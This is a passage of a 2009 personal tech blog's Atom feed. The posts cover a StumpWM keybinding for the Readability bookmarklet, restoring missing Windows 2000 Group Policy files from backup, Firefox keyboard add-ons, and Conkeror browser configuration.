&lt;p&gt;&lt;b&gt;NB:&lt;/b&gt; Just like before, the lines containing the bookmarklet code should be merged in one line before cutting and pasting the above snippet!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-5423563698214640?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/5423563698214640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/10/readabilityoperastumpwm.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5423563698214640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5423563698214640'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/10/readabilityoperastumpwm.html' title='Readability+Opera+StumpWM'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-8334215568781516534</id><published>2009-10-05T04:19:00.000-07:00</published><updated>2009-10-05T04:41:34.033-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='stumpwm'/><category scheme='http://www.blogger.com/atom/ns#' term='opera'/><title type='text'>Readability bookmarklet, browsers and StumpWM</title><content type='html'>&lt;p&gt;Recently, I was looking for a way to get rid of the web-design while surfing the Net. Some most obvious ways, like banning custom fonts in Firefox work nice, while banning custom colors makes reading Gmail and Google Reader extremely unpleasant.&lt;/p&gt;
&lt;p&gt;In Firefox I use TidyRead extension regularly. In the rare cases when TidyRead fails to do its job in the way I expect it to do, I use Readability bookmarklet. Readability, though, has a huge deficiency of being a bookmarklet. I mean, to use it you have to grab the mouse and click it. Of course, one could use keyboard to select Bookmarks menu and press twenty four arrows to get to the bookmarklet, but, of course, this is not what I would like to see. Especially because I love StumpWM window manager which is known for the disregard of mouse-like pointers. I needed a way to call the bookmark from the keyboard.&lt;/p&gt;
&lt;p&gt;Here's what I came up with. Below is a piece of my .stumpwmrc file:&lt;/p&gt;
&lt;pre&gt;
(defcommand readability () ()
  (send-meta-key (current-screen) (kbd "C-l"))
  (window-send-string "javascript:(function(){readStyle='style-novel';readSize='size-medium';
readMargin='margin-medium';
_readability_script=document.createElement('SCRIPT');
_readability_script.type='text/javascript';
_readability_script.src='http://lab.arc90.com/experiments/readability/js/readability.js?x='+(Math.random());
document.getElementsByTagName('head')[0].appendChild(_readability_script);
_readability_css=document.createElement('LINK');
_readability_css.rel='stylesheet';
_readability_css.href='http://lab.arc90.com/experiments/readability/css/readability.css';
_readability_css.type='text/css';
_readability_css.media='screen';
document.getElementsByTagName('head')[0].appendChild(_readability_css);
_readability_print_css=document.createElement('LINK');
_readability_print_css.rel='stylesheet';
_readability_print_css.href='http://lab.arc90.com/experiments/readability/css/readability-print.css';
_readability_print_css.media='print';
_readability_print_css.type='text/css';
document.getElementsByTagName('head')[0].appendChild(_readability_print_css);
})();
")
  (send-meta-key (current-screen) (kbd "RET")))
  (define-key *top-map* (kbd "s-p") "readability")
&lt;/pre&gt;

&lt;p&gt;&lt;b&gt;NB! &lt;/b&gt; I had to split the long line into a number of shorter ones. Merge them together to make the command work!&lt;/p&gt;

&lt;p&gt;The first lines defines a new command which behaves just like you would: "presses" C-l to move the pointer to the address bar of the browser, pastes the full text of the bookmarklet and presses Return. That's it! And the last line maps the new command to a keyboard shortcut super-p.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-8334215568781516534?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/8334215568781516534/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/10/readability-bookmarklet-browsers-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/8334215568781516534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/8334215568781516534'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/10/readability-bookmarklet-browsers-and.html' title='Readability bookmarklet, browsers and StumpWM'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-8388753148890190391</id><published>2009-09-28T05:11:00.000-07:00</published><updated>2009-09-28T05:12:58.313-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='w2k'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='gpo'/><title type='text'>Group Policies Gone</title><content type='html'>&lt;p&gt;Today, a number of my LAN  users lost their O: and P: drives, which were mapped  to the  shares on my old Windows 2000 Server. The drives  are mapped in  a logon script, defined in a group policy object. When I checked the GPOs, they were not loaded. &lt;/p&gt;

&lt;p&gt;Next, I checked the event log on the domain controller and there were numerous Event ID 1000 messages. Some said that &lt;i&gt;"Windows cannot query for the list of Group Policy objects"&lt;/i&gt;, while others insisted that &lt;i&gt;"Windows cannot access the file gpt.ini for GPO The file must be present at the location &amp;lt;&amp;gt;. (). Group Policy processing aborted."&lt;/i&gt; &lt;/p&gt;

&lt;p&gt;What I did next was to open the GPO editor and check the GPO, of course. They were there, all four of them, including the default domain policy, but I found I couldn't edit them. All I got was the dialog box saying &lt;i&gt;"Failed to open the Group Policy Object. You may not have appropriate rights."&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;The GPO permissions were OK. The next step was running &lt;tt&gt;gpotool&lt;/tt&gt;. To my surprise, the only response I got from the tool was &lt;i&gt;"DC list is empty"&lt;/i&gt;. I had an impression that the AD is down, but it wasn't. From what I could find with Google, DNS could be the point of failure, but DNS was working well, like everything else. Another tool I tried to use at that moment was &lt;tt&gt;netdiag&lt;/tt&gt;, but it gave no results, things were up and running.  &lt;/p&gt;

&lt;p&gt;I checked whether SYSVOL was accessible from the workstations and it was. The permissions on directories and files in SYSVOL were OK, but some files were missing. So, the &lt;tt&gt;domain\Policies&lt;/tt&gt; was pristinely empty. I tried to create a new policy in the GPO editor and the corresponding directory appeared in &lt;tt&gt;sysvol\Policies&lt;/tt&gt;.   &lt;/p&gt;

&lt;p&gt;So, I made sure I could recreate the GPOs from scratch, but I didn't have the Default Domain Policy. I found a tool to recreate it, &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=b5b685ae-b7dd-4bb5-ab2a-976d6873129d&amp;DisplayLang=en" &gt;Windows 2000 Default Group Policy Restore Tool&lt;/a&gt;. I didn't run it, though. Instead, I decided to compare the contents of my SYSVOL and that in the backed up system. Of course, I found the old policies in the &lt;tt&gt;domain\Policies&lt;/tt&gt; and simply copied them into the corresponding directory. The immediate result was that &lt;tt&gt;gpotool&lt;/tt&gt; could run and produce some meaningful results. So, it complained about a missing policy, but the old ones were there. Altogether, &lt;tt&gt;gpotool&lt;/tt&gt; found seven policies instead of five actually present (the default one, three GPOs I had defined and one more which was created five minutes ago), but it was more or less OK.  &lt;/p&gt;

&lt;p&gt;So, now I have the default policy and I can use the GPO editor to recreate my old policies. There were only a few of them and it shouldn't take long. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-8388753148890190391?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/8388753148890190391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/09/group-policies-gone.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/8388753148890190391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/8388753148890190391'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/09/group-policies-gone.html' title='Group Policies Gone'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-4618294175244575071</id><published>2009-09-10T22:43:00.000-07:00</published><updated>2009-09-10T23:14:06.408-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='conkeror'/><title type='text'>Keyboard navigation addons for Firefox</title><content type='html'>&lt;p&gt;As I wrote before, Conkeror doesn't support many useful Firefox extensions. I thought I should go back to Firefox and check a number of Firefox addons for surfing with keyboard: &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/1873"&gt;mozless&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/1341"&gt;Hit-A-Hint&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/6420"&gt;NumberFox&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/10807"&gt;nomouse&lt;/a&gt;. Much to my surprise, neither of them worked with Firefox 3, all of them were outdated. The only one that worked was &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/879"&gt;Mouseless Browsing&lt;/a&gt;, but it lacks some features. To begin with, the link numbering cannot be turned off.&lt;/p&gt;

&lt;p&gt;So, if four extensions out of five are abandoned, does it mean that the mouseless browsing in Firefox turned out to be too uncomfortable or even completely impossible?&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-4618294175244575071?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/4618294175244575071/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/09/keyboard-navigation-addons-for-firefox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4618294175244575071'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4618294175244575071'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/09/keyboard-navigation-addons-for-firefox.html' title='Keyboard navigation addons for Firefox'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-2958936477840505878</id><published>2009-09-08T04:00:00.000-07:00</published><updated>2009-09-08T04:07:09.745-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='conkeror'/><title type='text'>Conkeror once more</title><content type='html'>&lt;p&gt;I've learned to move focus away from the input fields and I found a replacement for TidyRead. See the new configuration file below (unfocus and readability).&lt;/p&gt;
&lt;pre&gt;
// new webjumps:
define_webjump("gread", "http://google.com/reader");
define_webjump("gmail", "https://mail.google.com");
define_webjump("youtube", "http://www.youtube.com/results?search_query=%s&amp;search=Search");
define_webjump("del", "http://delicious.com/search?p=%s&amp;lc=0&amp;atags=&amp;rtags=&amp;context=userposts%7cminaev%7c");


// show history in the url bar:
url_completion_use_bookmarks = false;
url_completion_use_history = true;

// my login at delicious:
add_delicious_webjumps ("minaev");

// install addons from anywhere:
session_pref("xpinstall.whitelist.required", false);

// use tabs:
user_pref("conkeror.load.tab-bar", 1);
require("tab-bar.js");

// auto-save and auto-load session:
require("session.js");
//session_auto_save_file = "/home/minaev/.conkeror.session";
session_auto_save_auto_load = true;
session_auto_save_auto_load_fn = session_auto_save_load_window_current;

//Open Middle-Clicked Links in New Buffers:
require("clicks-in-new-buffer.js");
clicks_in_new_buffer_target = OPEN_NEW_BUFFER; 

// Borrowed from David Kettler (http://www.mozdev.org/pipermail/conkeror/2008-September/001129.html)
interactive("toggle-stylesheets",
            "Toggle whether conkeror uses style sheets (CSS) for the " +
            "current buffer.  It is sometimes useful to turn off style " +
            "sheets when the web site makes obnoxious choices.",
            function(I) {
  var s = I.buffer.document.styleSheets;
  for (var i = 0; i &lt; s.length; i++)
    s[i].disabled = !s[i].disabled;
});

// http://lab.arc90.com/experiments/readability/
interactive("readability_arc90", 
            "Readability is a simple tool that makes reading on the web more enjoyable by removing the clutter around what you are reading", 
            function readability_arc90(I) {
                var document = I.window.buffers.current.document;

                _readability_readStyle=document.createElement('SCRIPT');
                _readability_readStyle.text = 'var readStyle = style-novel;';
                document.getElementsByTagName('head')[0].appendChild(_readability_readStyle);
                _readability_readSize=document.createElement('SCRIPT');
                _readability_readSize.text = 'var readSize = size-large;';
                document.getElementsByTagName('head')[0].appendChild(_readability_readSize);
                _readability_readMargin=document.createElement('SCRIPT');
                _readability_readMargin.text = 'var readMargin = margin-narrow;';
                document.getElementsByTagName('head')[0].appendChild(_readability_readMargin);
                _readability_script=document.createElement('SCRIPT');
                _readability_script.type='text/javascript';
                _readability_script.src='http://lab.arc90.com/experiments/readability/js/readability.js?x='+(Math.random());
                document.getElementsByTagName('head')[0].appendChild(_readability_script);
                _readability_css=document.createElement('LINK');
                _readability_css.rel='stylesheet';
                _readability_css.href='http://lab.arc90.com/experiments/readability/css/readability.css';
                _readability_css.type='text/css';
                _readability_css.media='screen';
                document.getElementsByTagName('head')[0].appendChild(_readability_css);
                _readability_print_css=document.createElement('LINK');
                _readability_print_css.rel='stylesheet';
                _readability_print_css.href='http://lab.arc90.com/experiments/readability/css/readability-print.css';
                _readability_print_css.media='print';
                _readability_print_css.type='text/css';
                document.getElementsByTagName('head')[0].appendChild(_readability_print_css);
            });

//interactive("new-tab",
//      "Open new tab",
//      alternates(follow_new_buffer, follow_new_window);
//      $browser_object="http://google.com");

define_key(content_buffer_normal_keymap, "M-q", "unfocus");
define_key(content_buffer_normal_keymap, "M-s", "toggle-stylesheets");
define_key(content_buffer_normal_keymap, "C-x C-s", "session-save");
define_key(content_buffer_normal_keymap, "F", "follow-new-buffer-background");
define_key(content_buffer_normal_keymap, "C-f", "follow-new-buffer");
define_key(content_buffer_normal_keymap, "d", "follow-new-window");
define_key(content_buffer_normal_keymap, "z", "readability_arc90");

// some Firefox keybindings:
define_key(content_buffer_normal_keymap, "C-page_up", "buffer-previous");
define_key(content_buffer_normal_keymap, "C-page_down", "buffer-next");
//define_key(content_buffer_normal_keymap, "C-t", "new-tab");
define_key(content_buffer_normal_keymap, "C-w", "kill-current-buffer");
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-2958936477840505878?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/2958936477840505878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/09/conkeror-once-moref.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2958936477840505878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2958936477840505878'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/09/conkeror-once-moref.html' title='Conkeror once more'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-75069667024249837</id><published>2009-09-07T05:40:00.000-07:00</published><updated>2009-09-07T05:45:47.120-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='conkeror'/><title type='text'>What is wrong with Conkeror?</title><content type='html'>&lt;ol&gt;
&lt;li&gt;You have to change focus from input fields to something else if you want to run a command from the keyboard.
&lt;/li&gt;
&lt;li&gt;I couldn't find a way to do what I used to do with the right click in Firefox, like copy the url, save image, etc.
&lt;/li&gt;
&lt;li&gt;Too many extensions do not work in Conkeror. Most of all I miss Google Notebook, TidyRead and Flashblock.
&lt;/li&gt;
&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-75069667024249837?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/75069667024249837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/09/what-is-wrong-with-conkeror.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/75069667024249837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/75069667024249837'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/09/what-is-wrong-with-conkeror.html' title='What is wrong with Conkeror?'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-383248424416927011</id><published>2009-09-07T04:53:00.000-07:00</published><updated>2009-09-07T05:23:50.853-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='conkeror'/><title type='text'>Conkeror: Emacs-like browser</title><content type='html'>&lt;p&gt;While a long-time user of Firefox, I'm always ready to have a look at the alternatives. Firefox works well, but it's too heavy. Some time ago I found a new Firefox extension called Conkeror, which added Emacs-like keybindings to Firefox. It was too unusual for me at that time and I ditched it. Since then I switched to tiling window managers (first Ion, now Stumpwm) and I thought that Conkeror might fit my new style of work.&lt;/p&gt;

&lt;p&gt;It turns out that the new Conkeror is not an extension anymore, but a standalone browser packed with features. It's fully customizable (in JavaScript), extensible (in Python, AFAIU) and, of course, keybound all the way through.&lt;/p&gt;

&lt;p&gt;Below is the initialization file I compiled on the very first day with Conkeror:&lt;/p&gt;

&lt;pre&gt;
// shortcuts for Google Reader and Gmail:
define_webjump("gread", "http://google.com/reader");
define_webjump("gmail", "https://mail.google.com");

// keybindings to open links in new buffer and new window
define_key(content_buffer_normal_keymap, "F", "follow-new-buffer-background");
define_key(content_buffer_normal_keymap, "C-f", "follow-new-buffer");
define_key(content_buffer_normal_keymap, "d", "follow-new-window");

// show history items when typing URL:
url_completion_use_bookmarks = false;
url_completion_use_history = true;

// use my delicious:
add_delicious_webjumps ("minaev");

// allow installation of addons from any URL:
session_pref("xpinstall.whitelist.required", false);

// show Firefox-like tabs:
user_pref("conkeror.load.tab-bar", 1);
require("tab-bar.js");

&lt;/pre&gt;

&lt;p&gt;There's a lot of things to borrow from other RC files, but the first steps were made.&lt;/p&gt;

&lt;p&gt;I started by installing Conkeror packaged with Ubuntu 9.04, version 080629. This version could not find the location of the Conkeror init file till I explicitly pointed at the file in &lt;tt&gt;.conkeror.mozdev.org/conkeror/&amp;lt;profile&amp;gt;/prefs.js&lt;/tt&gt;, where I added a new line:&lt;/p&gt;
&lt;pre&gt;user_pref('conkeror.rcfile', '/home/minaev/.conkerorrc');&lt;/pre&gt;

&lt;p&gt;The Ubuntu version did not support tabs, so I had to grab a Debian package from the &lt;a href=http://conkeror.org/InstallationDebian&gt;Conkeror web site&lt;/a&gt;, version 090624.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-383248424416927011?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/383248424416927011/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/09/conkeror-emacs-like-browser.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/383248424416927011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/383248424416927011'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/09/conkeror-emacs-like-browser.html' title='Conkeror: Emacs-like browser'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
